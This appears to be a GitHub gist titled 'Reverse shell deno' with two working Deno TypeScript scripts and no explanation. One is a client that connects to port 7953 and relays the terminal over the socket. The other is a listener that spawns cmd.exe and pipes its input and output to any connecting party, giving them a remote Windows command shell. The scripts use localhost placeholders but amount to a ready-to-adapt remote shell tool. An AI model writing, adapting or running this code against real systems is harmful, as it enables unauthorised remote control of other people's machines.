Created
September 2, 2022 12:07
-
-
Save Axone7953/3ac9f767b8b755729a64891b1589f7ec to your computer and use it in GitHub Desktop.
Reverse shell deno
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const conn = await Deno.connect({ hostname: "127.0.0.1", port: 7953 }); | |
const decoder = new TextDecoder(), | |
encoder = new TextEncoder(); | |
const safe = (buffer: Uint8Array) => encoder.encode(decoder.decode(buffer)); | |
async function pipe(reader: Deno.Reader, writer: Deno.Writer, debug=false) { | |
const buffer = new Uint8Array(32 * 1024); | |
while (true) { | |
try { | |
const length = await reader.read(buffer); | |
if (!length) break; | |
if (debug) console.log("Buffer :", buffer.subarray(0, length)); | |
let n = 0; | |
while (n < length) { | |
n += await writer.write(safe(buffer.subarray(n, length))); | |
} | |
} catch (error) { | |
break; | |
} | |
} | |
} | |
await Promise.race([ | |
pipe(conn, Deno.stdout), | |
pipe(Deno.stdin, conn) | |
]); | |
conn.close(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const server = Deno.listen({ hostname: "127.0.0.1", port: 7953 }); | |
const decoder = new TextDecoder(), | |
encoder = new TextEncoder(); | |
const safe = (buffer: Uint8Array) => encoder.encode(decoder.decode(buffer)); | |
async function pipe(reader: Deno.Reader, writer: Deno.Writer) { | |
const buffer = new Uint8Array(32 * 1024); | |
while (true) { | |
try { | |
const length = await reader.read(buffer); | |
if (!length) break; | |
let n = 0; | |
while (n < length) { | |
n += await writer.write(safe(buffer.subarray(n, length))); | |
} | |
} catch (error) { | |
break; | |
} | |
} | |
} | |
for await (const conn of server) { | |
(async () => { | |
const { stdout, stdin, stderr } = Deno.run({ | |
cmd: ["cmd.exe"], | |
stdout: "piped", | |
stdin: "piped", | |
stderr: "piped", | |
}); | |
await Promise.race([ | |
pipe(stdout, conn), | |
pipe(stderr, conn), | |
pipe(conn, stdin), | |
]); | |
conn.close(); | |
})(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment